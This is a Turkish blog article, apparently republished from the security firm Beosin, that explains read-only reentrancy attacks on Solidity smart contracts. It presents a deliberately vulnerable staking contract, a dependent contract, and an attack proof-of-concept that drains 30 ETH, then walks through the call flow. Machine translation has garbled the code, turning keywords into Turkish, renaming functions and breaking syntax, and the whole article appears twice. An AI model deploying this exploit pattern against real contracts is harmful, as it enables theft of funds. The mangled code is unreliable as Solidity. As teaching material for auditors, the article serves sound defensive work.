Bu makalenin yazarı: Beosin güvenlik araştırma uzmanı Sivan
Son zamanlarda, blockchain ekosisteminde çok sayıda yeniden giriş saldırısı oldu.Bu saldırılar, daha önce bildiğimiz yeniden giriş güvenlik açıklarına benzemez, ancak projenin yeniden giriş kilidi olduğunda gerçekleşen salt okunur yeniden giriş saldırılarıdır.
Bugünkü güvenlik denetimi için gerekli bilgiler, Beosin güvenlik araştırma ekibi size "salt okunur yeniden giriş saldırısı"nın ne olduğunu açıklayacaktır.
Hangi durumlar yeniden giriş güvenlik açıkları riskine yol açar?
Solidity akıllı sözleşme programlama sürecinde, bir akıllı sözleşmenin başka bir akıllı sözleşmenin kodunu çağırmasına izin verilir. Birçok projenin iş tasarımında ETH'yi belirli bir adrese göndermek gerekir ancak ETH alıcı adresi bir akıllı sözleşme ise akıllı sözleşmenin geri dönüş işlevi çağrılır. Kötü niyetli bir kullanıcı, sözleşmenin geri dönüş işlevinde iyi tasarlanmış bir kod yazarsa, yeniden giriş güvenlik açıkları riski olabilir.
Saldırgan, kötü amaçlı sözleşmenin geri dönüş işlevinde proje sözleşmesine çağrıyı yeniden başlatabilir.Şu anda, ilk arama işlemi bitmemiş ve bazı değişkenler değiştirilmemiştir.Bu durumda, ikinci arama neden olur Olağandışı değişkenleri kullanmak için proje sözleşmesi, ilgili hesaplamaları gerçekleştirir veya bir saldırganın bazı kontrol kısıtlamalarını atlamasına izin verir.
Başka bir deyişle, reentrancy güvenlik açığının kökü, transfer gerçekleştirildikten sonra hedef sözleşmenin bir arabiriminin çağrılmasında yatmaktadır ve defterin değiştirilmesi, hedef sözleşme çağrıldıktan sonra kontrolün atlanmasına neden olur, yani tasarım değildir. kesinlikle kontrol doğrulama etkileşimi moduna uygun olarak. Bu nedenle, Ethereum transferlerinin neden olduğu yeniden giriş güvenlik açıklarına ek olarak, aşağıdaki örnek gibi bazı uygun olmayan tasarımlar da yeniden giriş saldırılarına yol açabilir:
1. Kontrol edilebilir harici işlevlerin çağrılması yeniden giriş olasılığına yol açacaktır
2. ERC721/1155 güvenlikle ilgili işlevler yeniden girişe neden olabilir
Şu anda, yeniden giriş saldırıları yaygın bir güvenlik açığıdır. Çoğu blok zinciri proje geliştiricisi, yeniden giriş saldırılarının tehlikelerinin de farkındadır. Yeniden giriş kilitleri temel olarak projelerde ayarlanır, böylece yeniden giriş kilidi olan bir işlev çağrıldığında, aynı yeniden girişi tutan herhangi bir işlev kilit tekrar çağrılamaz. Yeniden giriş kilitleri, yukarıdaki yeniden giriş saldırılarını etkili bir şekilde önleyebilse de, "salt okunur yeniden giriş" adı verilen ve önlenmesi zor olan başka bir saldırı daha vardır.
Önlenmesi zor olan "salt okunur yeniden giriş" nedir?
Yukarıda, özünde anormal durumu yeniden girişten sonra yeni durumu hesaplamak için anormal durum güncellemesine neden olan ortak yeniden giren türleri tanıttık. O zaman dediğimiz fonksiyon view-modified readonly bir fonksiyon ise fonksiyonda durum değişikliği olmaz ve fonksiyon çağrıldıktan sonra bu sözleşmeye herhangi bir etkisi olmaz. Bu nedenle, bu tür işlev projelerinin geliştiricileri, yeniden giriş riskine çok fazla dikkat etmeyecek ve buna yeniden giriş kilitleri eklemeyecektir.
Re-entry view tarafından değiştirilen işlev temel olarak bu sözleşmeyi etkilemeyecek olsa da, bir sözleşmenin diğer sözleşmelerin view işlevini veri bağımlılığı olarak çağıracağı ve bu sözleşmenin view işlevinin yeniden giriş eklemediği başka bir durum daha vardır. Daha sonra salt okunur yeniden giriş riskine yol açabilir.
Örneğin, bir proje A sözleşmesi token rehin verebilir ve token çekebilir ve toplam token ve rehinli sözleşme sertifikası miktarına göre fiyatları sorgulama işlevi sağlayabilir. işlevi değil Bir yeniden giriş kilidi mevcuttur. Rehin geri çekme işlevini sağlayan başka bir B projesi var. Rehin ve geri çekme arasında bir yeniden giriş kilidi var. Rehin çekme işlevi, kupon jetonunu hesaplamak için A projesinin fiyat sorgulama işlevine dayanıyor.
Aşağıdaki şekilde gösterildiği gibi, yukarıdaki iki proje arasında salt okunur yeniden giriş riski vardır:
Saldırgan, SözleşmeA'da belirteçleri stake eder ve geri çeker.
Belirteçlerin çekilmesi, saldırganın sözleşme geri dönüş işlevini çağırır.
Saldırgan, SözleşmeB'deki taahhüt işlevini sözleşmede tekrar çağırır.
Taahhüt işlevi, Sözleşme A'nın fiyat hesaplama işlevini çağıracaktır. Şu anda, Sözleşme A'nın sözleşme durumu güncellenmemiştir, bu da hesaplanan fiyatta bir hataya neden olur ve daha fazla jeton hesaplanarak saldırgana gönderilir.
Yeniden giriş tamamlandıktan sonra SözleşmeA'nın durumu güncellenir.
Son olarak, saldırgan, belirteçleri çekmek için SözleşmeB'yi çağırır.
Şu anda, SözleşmeB tarafından elde edilen veriler güncellendi ve daha fazla token çekilebilir.
Kod ilkesi analizi
Salt okunur yeniden giriş sorununu açıklamak için aşağıdaki demoyu örnek olarak alıyoruz. Aşağıdaki yalnızca gerçek iş mantığı olmayan bir test kodudur. Yalnızca salt okunur yeniden girişin incelenmesi için bir referans olarak kullanılır.
Sözleşmeyi yazın Bir sözleşme:
pragma sağlamlığı ^0.8.21;sözleşme SözleşmeA { uint256 özel _totalSupply; uint256 özel _allstake; eşleme (adres => uint256) genel _bakiyeler; bool kontrol=true; /** * Yeniden giriş kilidi. **/ değiştirici noreentrancy(){ require(check); check=false; _; check=true; } yapıcı(){ } /** * Taahhüdü toplam jeton miktarına göre hesaplayın ve sözleşme sertifikası Değerinin rehin tutarı, hassas işleme için 10e8. **/ function get_price() genel görünüm sanal getirileri (uint256) { if(_totalSupply==0||_allstake==0) return 10e8; return _totalSupply*10e8/_allstake; } /\ ** * Kullanıcı rehni, rehin miktarını artırın ve kupon para birimi sağlayın. **/ function deposit() kamuya ödenecek noreentrancy(){ uint256 mintamount=msg.value*get_price()/10e8; _allstake+=msg.value; _balances[msg.sender]+=mintamount; \ _totalSupply+=mintamount; } /** * Kullanıcı geri çekilir, taahhüt edilen miktarı azaltır ve toplam token miktarını yok eder. **/ function accept(uint256 burnamount) public noreentrancy(){ uint256 sendamount=burnamount*10e8/get_price(); _allstake-=sendamount; payable(msg.sender).call{value:sendamount}( ""); _balances[msg.sender]-=burnamount; _totalSupply-=burnamount;
SözleşmeA sözleşmesini dağıtın ve 50ETH taahhüt edin ve simülasyon projesi zaten çalışıyor.
SözleşmeB sözleşmesi yazın (SözleşmeA sözleşmesi get_price işlevine bağlı olarak):
pragma sağlamlığı ^0.8.21; SözleşmeA arayüzü { function get_price() harici görünüm döndürür (uint256);}sözleşme SözleşmeB { SözleşmeA sözleşme_a; eşleme (adres => uint256) özel _bakiyeler; bool kontrol=true; () { require(check); check=false; _; check=true; } yapıcı(){ } function setcontracta(address addr) public { sözleşme_a = SözleşmeA(addr); } /** * Taahhüt belirteçleri , SözleşmeA sözleşmesinin get_price() değerine göre taahhüt edilen jetonların değerini hesaplayın ve kupon jetonlarının sayısını hesaplayın**/ function depositFunds() kamu ödenebilir noreentrancy(){ uint256 mintamount=msg.value\ *contract _a.get_price()/10e8; _balances[msg.sender]+=mintamount; } /** * Jetonları geri çekin ve SözleşmeA sözleşmesinin get_price()'sine göre kupon jetonlarını hesaplayın Geri çekilen değerini hesaplayın belirteçler**/ işlev para çekmeFunds(uint256 burnamount) genel ödenecek noreentrancy(){ _balances[msg.sender]-=burnamount; uint256 miktar=burnamount*10e8/contract_a.get_price(); msg.sender .call{value:amount}(""); } function balanceof(address acount) genel görünüm döndürür (uint256){ return _balances [acount] ;
SözleşmeA adresini ayarlamak için SözleşmeB sözleşmesini konuşlandırın ve 30ETH taahhüt edin ve simülasyon projesi zaten çalışıyor.
Bir saldırı POC sözleşmesi yazın:
pragma sağlamlığı ^0.8.21; SözleşmeA arabirimi { işlev para yatırma() harici ödenebilir; işlev para çekme(uint256 miktarı) harici;} SözleşmeB arabirimi { işlev para yatırmaFunds() harici ödenebilir; işlem bakiyesi(adres hesabı) harici görünüm döner (uint256);} sözleşme POC { SözleşmeA sözleşme_a; SözleşmeB sözleşme_b; ödenecek adres _sahip; uint flag=0; uint256 depozitamount=30 eter; ); } function setaddr(adres _sözleşme,adres _sözleşmeb) kamu { sözleşme_a=SözleşmeA (_contracta); sözleşme_b=ContractB(_contractb); } /** * Saldırı işlevi çağırmaya başlar, Likidite ekleyin, likiditeyi kaldırın ve son olarak belirteçleri çekin. **/ function start(uint256 tutar)public { sözleşme_a.deposit{değer:amount}(); sözleşme_a.withdraw(tutar); sözleşme_b.withdrawFunds(sözleşme_b.balanceof(adres(bu) )); } /** * Staking işlevi yeniden girişte çağrılır. **/ function deposit()internal { sözleşme_b.depositFunds{değer:depozitamount}(); } /** * Saldırı bittikten sonra ETH'yi çekin. **/ function getEther() public { _owner.transfer(address(this).balance); } /** * geri çağırma işlevi, yeniden giriş anahtarı. **/ fallback() ödenecek harici { if(msg.sender==adres(sözleşme_a)){ depozito(); }
Saldırı sözleşmesini dağıtmak ve 50ETH'yi aktarmak için başka bir EOA hesabına geçin ve SözleşmeA ve SözleşmeB adreslerini ayarlayın.
Başlat işlevine 5000000000000000000 (50*10^18) geçirin ve çalıştırın ve SözleşmeB'nin 30ETH'sinin POC sözleşmesi tarafından aktarıldığını bulun.
GetEther işlevini tekrar çağırın ve saldırganın adresi 30ETH kazanır.
Kod çağrısı süreç analizi:
Başlatma işlevi önce SözleşmeA sözleşmesinin ETH ipotek yatırma işlevini çağırır. Saldırgan 50*10^18 artı ilk sözleşmenin sahip olduğu 50*10^18'i geçer. Şu anda _allstake ve _totalSupply her ikisi de 100*10 ^18'dir.
Ardından, belirteçleri çekmek için SözleşmeA'nın sözleşme geri çekme işlevini çağırın. Sözleşme önce _allstake'i güncelleyecek ve saldırı sözleşmesine 50 ETH gönderecektir. Bu sırada, saldırı sözleşmesinin geri dönüş işlevini çağıracak ve son olarak _totalSupply'ı güncelleyecektir. .
Geri dönüş işlevinde, saldırı sözleşmesi, SözleşmeB sözleşmesini 30 ETH taahhüt etmesi için çağırır. get_price bir görüntüleme işlevi olduğundan, SözleşmeB sözleşmesi, SözleşmeA'nın get_price işlevine başarıyla yeniden girer. Şu anda, çünkü _totalSupply güncellenmedi, hala 100\ *10^18, ancak _allstake 50*10^18'e düşürüldü, dolayısıyla burada döndürülen değer iki katına çıkacak. Saldırı sözleşmesine 60*10^18 jeton ekleyecektir.
Yeniden giriş bittikten sonra saldırı sözleşmesi, ETH çıkarmak için SözleşmeB sözleşmesini çağırır. Şu anda _totalSupply, 50*10^18 olarak güncellendi ve sertifika para birimiyle aynı miktarda ETH hesaplanacak. Saldırı sözleşmesine 60ETH aktarıldı. Sonunda, saldırgan 30ETH kar elde etti.
Beosin Güvenlik Önerisi
Yukarıdaki güvenlik sorunları için Beosin güvenlik ekibi şunları önermektedir: Veri desteği olarak başka projelere dayanması gereken projeler için, bağımlı proje ile kendi projesinin kombinasyonunun iş mantığı güvenliği kesinlikle kontrol edilmelidir. İki projede tek başına sorun olmaması durumunda birleştirildikten sonra ciddi güvenlik sorunları ortaya çıkabilmektedir.
View Original
This page may contain third-party content, which is provided for information purposes only (not representations/warranties) and should not be considered as an endorsement of its views by Gate, nor as financial or professional advice. See Disclaimer for details.
Güvenlik denetimi için temel bilgiler: Son zamanlarda sıklıkla meydana gelen ve önlenmesi zor olan "salt okunur yeniden giriş saldırısı" nedir?
Bu makalenin yazarı: Beosin güvenlik araştırma uzmanı Sivan
Son zamanlarda, blockchain ekosisteminde çok sayıda yeniden giriş saldırısı oldu.Bu saldırılar, daha önce bildiğimiz yeniden giriş güvenlik açıklarına benzemez, ancak projenin yeniden giriş kilidi olduğunda gerçekleşen salt okunur yeniden giriş saldırılarıdır.
Bugünkü güvenlik denetimi için gerekli bilgiler, Beosin güvenlik araştırma ekibi size "salt okunur yeniden giriş saldırısı"nın ne olduğunu açıklayacaktır.
Hangi durumlar yeniden giriş güvenlik açıkları riskine yol açar?
Solidity akıllı sözleşme programlama sürecinde, bir akıllı sözleşmenin başka bir akıllı sözleşmenin kodunu çağırmasına izin verilir. Birçok projenin iş tasarımında ETH'yi belirli bir adrese göndermek gerekir ancak ETH alıcı adresi bir akıllı sözleşme ise akıllı sözleşmenin geri dönüş işlevi çağrılır. Kötü niyetli bir kullanıcı, sözleşmenin geri dönüş işlevinde iyi tasarlanmış bir kod yazarsa, yeniden giriş güvenlik açıkları riski olabilir.
Saldırgan, kötü amaçlı sözleşmenin geri dönüş işlevinde proje sözleşmesine çağrıyı yeniden başlatabilir.Şu anda, ilk arama işlemi bitmemiş ve bazı değişkenler değiştirilmemiştir.Bu durumda, ikinci arama neden olur Olağandışı değişkenleri kullanmak için proje sözleşmesi, ilgili hesaplamaları gerçekleştirir veya bir saldırganın bazı kontrol kısıtlamalarını atlamasına izin verir.
Başka bir deyişle, reentrancy güvenlik açığının kökü, transfer gerçekleştirildikten sonra hedef sözleşmenin bir arabiriminin çağrılmasında yatmaktadır ve defterin değiştirilmesi, hedef sözleşme çağrıldıktan sonra kontrolün atlanmasına neden olur, yani tasarım değildir. kesinlikle kontrol doğrulama etkileşimi moduna uygun olarak. Bu nedenle, Ethereum transferlerinin neden olduğu yeniden giriş güvenlik açıklarına ek olarak, aşağıdaki örnek gibi bazı uygun olmayan tasarımlar da yeniden giriş saldırılarına yol açabilir:
1. Kontrol edilebilir harici işlevlerin çağrılması yeniden giriş olasılığına yol açacaktır
2. ERC721/1155 güvenlikle ilgili işlevler yeniden girişe neden olabilir
Şu anda, yeniden giriş saldırıları yaygın bir güvenlik açığıdır. Çoğu blok zinciri proje geliştiricisi, yeniden giriş saldırılarının tehlikelerinin de farkındadır. Yeniden giriş kilitleri temel olarak projelerde ayarlanır, böylece yeniden giriş kilidi olan bir işlev çağrıldığında, aynı yeniden girişi tutan herhangi bir işlev kilit tekrar çağrılamaz. Yeniden giriş kilitleri, yukarıdaki yeniden giriş saldırılarını etkili bir şekilde önleyebilse de, "salt okunur yeniden giriş" adı verilen ve önlenmesi zor olan başka bir saldırı daha vardır.
Önlenmesi zor olan "salt okunur yeniden giriş" nedir?
Yukarıda, özünde anormal durumu yeniden girişten sonra yeni durumu hesaplamak için anormal durum güncellemesine neden olan ortak yeniden giren türleri tanıttık. O zaman dediğimiz fonksiyon view-modified readonly bir fonksiyon ise fonksiyonda durum değişikliği olmaz ve fonksiyon çağrıldıktan sonra bu sözleşmeye herhangi bir etkisi olmaz. Bu nedenle, bu tür işlev projelerinin geliştiricileri, yeniden giriş riskine çok fazla dikkat etmeyecek ve buna yeniden giriş kilitleri eklemeyecektir.
Re-entry view tarafından değiştirilen işlev temel olarak bu sözleşmeyi etkilemeyecek olsa da, bir sözleşmenin diğer sözleşmelerin view işlevini veri bağımlılığı olarak çağıracağı ve bu sözleşmenin view işlevinin yeniden giriş eklemediği başka bir durum daha vardır. Daha sonra salt okunur yeniden giriş riskine yol açabilir.
Örneğin, bir proje A sözleşmesi token rehin verebilir ve token çekebilir ve toplam token ve rehinli sözleşme sertifikası miktarına göre fiyatları sorgulama işlevi sağlayabilir. işlevi değil Bir yeniden giriş kilidi mevcuttur. Rehin geri çekme işlevini sağlayan başka bir B projesi var. Rehin ve geri çekme arasında bir yeniden giriş kilidi var. Rehin çekme işlevi, kupon jetonunu hesaplamak için A projesinin fiyat sorgulama işlevine dayanıyor.
Aşağıdaki şekilde gösterildiği gibi, yukarıdaki iki proje arasında salt okunur yeniden giriş riski vardır:
Saldırgan, SözleşmeA'da belirteçleri stake eder ve geri çeker.
Belirteçlerin çekilmesi, saldırganın sözleşme geri dönüş işlevini çağırır.
Saldırgan, SözleşmeB'deki taahhüt işlevini sözleşmede tekrar çağırır.
Taahhüt işlevi, Sözleşme A'nın fiyat hesaplama işlevini çağıracaktır. Şu anda, Sözleşme A'nın sözleşme durumu güncellenmemiştir, bu da hesaplanan fiyatta bir hataya neden olur ve daha fazla jeton hesaplanarak saldırgana gönderilir.
Yeniden giriş tamamlandıktan sonra SözleşmeA'nın durumu güncellenir.
Son olarak, saldırgan, belirteçleri çekmek için SözleşmeB'yi çağırır.
Şu anda, SözleşmeB tarafından elde edilen veriler güncellendi ve daha fazla token çekilebilir.
Kod ilkesi analizi
Salt okunur yeniden giriş sorununu açıklamak için aşağıdaki demoyu örnek olarak alıyoruz. Aşağıdaki yalnızca gerçek iş mantığı olmayan bir test kodudur. Yalnızca salt okunur yeniden girişin incelenmesi için bir referans olarak kullanılır.
Sözleşmeyi yazın Bir sözleşme:
pragma sağlamlığı ^0.8.21;sözleşme SözleşmeA { uint256 özel _totalSupply; uint256 özel _allstake; eşleme (adres => uint256) genel _bakiyeler; bool kontrol=true; /** * Yeniden giriş kilidi. **/ değiştirici noreentrancy(){ require(check); check=false; _; check=true; } yapıcı(){ } /** * Taahhüdü toplam jeton miktarına göre hesaplayın ve sözleşme sertifikası Değerinin rehin tutarı, hassas işleme için 10e8. **/ function get_price() genel görünüm sanal getirileri (uint256) { if(_totalSupply==0||_allstake==0) return 10e8; return _totalSupply*10e8/_allstake; } /\ ** * Kullanıcı rehni, rehin miktarını artırın ve kupon para birimi sağlayın. **/ function deposit() kamuya ödenecek noreentrancy(){ uint256 mintamount=msg.value*get_price()/10e8; _allstake+=msg.value; _balances[msg.sender]+=mintamount; \ _totalSupply+=mintamount; } /** * Kullanıcı geri çekilir, taahhüt edilen miktarı azaltır ve toplam token miktarını yok eder. **/ function accept(uint256 burnamount) public noreentrancy(){ uint256 sendamount=burnamount*10e8/get_price(); _allstake-=sendamount; payable(msg.sender).call{value:sendamount}( ""); _balances[msg.sender]-=burnamount; _totalSupply-=burnamount;
SözleşmeA sözleşmesini dağıtın ve 50ETH taahhüt edin ve simülasyon projesi zaten çalışıyor.
SözleşmeB sözleşmesi yazın (SözleşmeA sözleşmesi get_price işlevine bağlı olarak):
pragma sağlamlığı ^0.8.21; SözleşmeA arayüzü { function get_price() harici görünüm döndürür (uint256);}sözleşme SözleşmeB { SözleşmeA sözleşme_a; eşleme (adres => uint256) özel _bakiyeler; bool kontrol=true; () { require(check); check=false; _; check=true; } yapıcı(){ } function setcontracta(address addr) public { sözleşme_a = SözleşmeA(addr); } /** * Taahhüt belirteçleri , SözleşmeA sözleşmesinin get_price() değerine göre taahhüt edilen jetonların değerini hesaplayın ve kupon jetonlarının sayısını hesaplayın**/ function depositFunds() kamu ödenebilir noreentrancy(){ uint256 mintamount=msg.value\ *contract _a.get_price()/10e8; _balances[msg.sender]+=mintamount; } /** * Jetonları geri çekin ve SözleşmeA sözleşmesinin get_price()'sine göre kupon jetonlarını hesaplayın Geri çekilen değerini hesaplayın belirteçler**/ işlev para çekmeFunds(uint256 burnamount) genel ödenecek noreentrancy(){ _balances[msg.sender]-=burnamount; uint256 miktar=burnamount*10e8/contract_a.get_price(); msg.sender .call{value:amount}(""); } function balanceof(address acount) genel görünüm döndürür (uint256){ return _balances [acount] ;
SözleşmeA adresini ayarlamak için SözleşmeB sözleşmesini konuşlandırın ve 30ETH taahhüt edin ve simülasyon projesi zaten çalışıyor.
Bir saldırı POC sözleşmesi yazın:
pragma sağlamlığı ^0.8.21; SözleşmeA arabirimi { işlev para yatırma() harici ödenebilir; işlev para çekme(uint256 miktarı) harici;} SözleşmeB arabirimi { işlev para yatırmaFunds() harici ödenebilir; işlem bakiyesi(adres hesabı) harici görünüm döner (uint256);} sözleşme POC { SözleşmeA sözleşme_a; SözleşmeB sözleşme_b; ödenecek adres _sahip; uint flag=0; uint256 depozitamount=30 eter; ); } function setaddr(adres _sözleşme,adres _sözleşmeb) kamu { sözleşme_a=SözleşmeA (_contracta); sözleşme_b=ContractB(_contractb); } /** * Saldırı işlevi çağırmaya başlar, Likidite ekleyin, likiditeyi kaldırın ve son olarak belirteçleri çekin. **/ function start(uint256 tutar)public { sözleşme_a.deposit{değer:amount}(); sözleşme_a.withdraw(tutar); sözleşme_b.withdrawFunds(sözleşme_b.balanceof(adres(bu) )); } /** * Staking işlevi yeniden girişte çağrılır. **/ function deposit()internal { sözleşme_b.depositFunds{değer:depozitamount}(); } /** * Saldırı bittikten sonra ETH'yi çekin. **/ function getEther() public { _owner.transfer(address(this).balance); } /** * geri çağırma işlevi, yeniden giriş anahtarı. **/ fallback() ödenecek harici { if(msg.sender==adres(sözleşme_a)){ depozito(); }
Saldırı sözleşmesini dağıtmak ve 50ETH'yi aktarmak için başka bir EOA hesabına geçin ve SözleşmeA ve SözleşmeB adreslerini ayarlayın.
Başlat işlevine 5000000000000000000 (50*10^18) geçirin ve çalıştırın ve SözleşmeB'nin 30ETH'sinin POC sözleşmesi tarafından aktarıldığını bulun.
GetEther işlevini tekrar çağırın ve saldırganın adresi 30ETH kazanır.
Kod çağrısı süreç analizi:
Başlatma işlevi önce SözleşmeA sözleşmesinin ETH ipotek yatırma işlevini çağırır. Saldırgan 50*10^18 artı ilk sözleşmenin sahip olduğu 50*10^18'i geçer. Şu anda _allstake ve _totalSupply her ikisi de 100*10 ^18'dir.
Ardından, belirteçleri çekmek için SözleşmeA'nın sözleşme geri çekme işlevini çağırın. Sözleşme önce _allstake'i güncelleyecek ve saldırı sözleşmesine 50 ETH gönderecektir. Bu sırada, saldırı sözleşmesinin geri dönüş işlevini çağıracak ve son olarak _totalSupply'ı güncelleyecektir. .
Geri dönüş işlevinde, saldırı sözleşmesi, SözleşmeB sözleşmesini 30 ETH taahhüt etmesi için çağırır. get_price bir görüntüleme işlevi olduğundan, SözleşmeB sözleşmesi, SözleşmeA'nın get_price işlevine başarıyla yeniden girer. Şu anda, çünkü _totalSupply güncellenmedi, hala 100\ *10^18, ancak _allstake 50*10^18'e düşürüldü, dolayısıyla burada döndürülen değer iki katına çıkacak. Saldırı sözleşmesine 60*10^18 jeton ekleyecektir.
Yeniden giriş bittikten sonra saldırı sözleşmesi, ETH çıkarmak için SözleşmeB sözleşmesini çağırır. Şu anda _totalSupply, 50*10^18 olarak güncellendi ve sertifika para birimiyle aynı miktarda ETH hesaplanacak. Saldırı sözleşmesine 60ETH aktarıldı. Sonunda, saldırgan 30ETH kar elde etti.
Beosin Güvenlik Önerisi
Yukarıdaki güvenlik sorunları için Beosin güvenlik ekibi şunları önermektedir: Veri desteği olarak başka projelere dayanması gereken projeler için, bağımlı proje ile kendi projesinin kombinasyonunun iş mantığı güvenliği kesinlikle kontrol edilmelidir. İki projede tek başına sorun olmaması durumunda birleştirildikten sonra ciddi güvenlik sorunları ortaya çıkabilmektedir.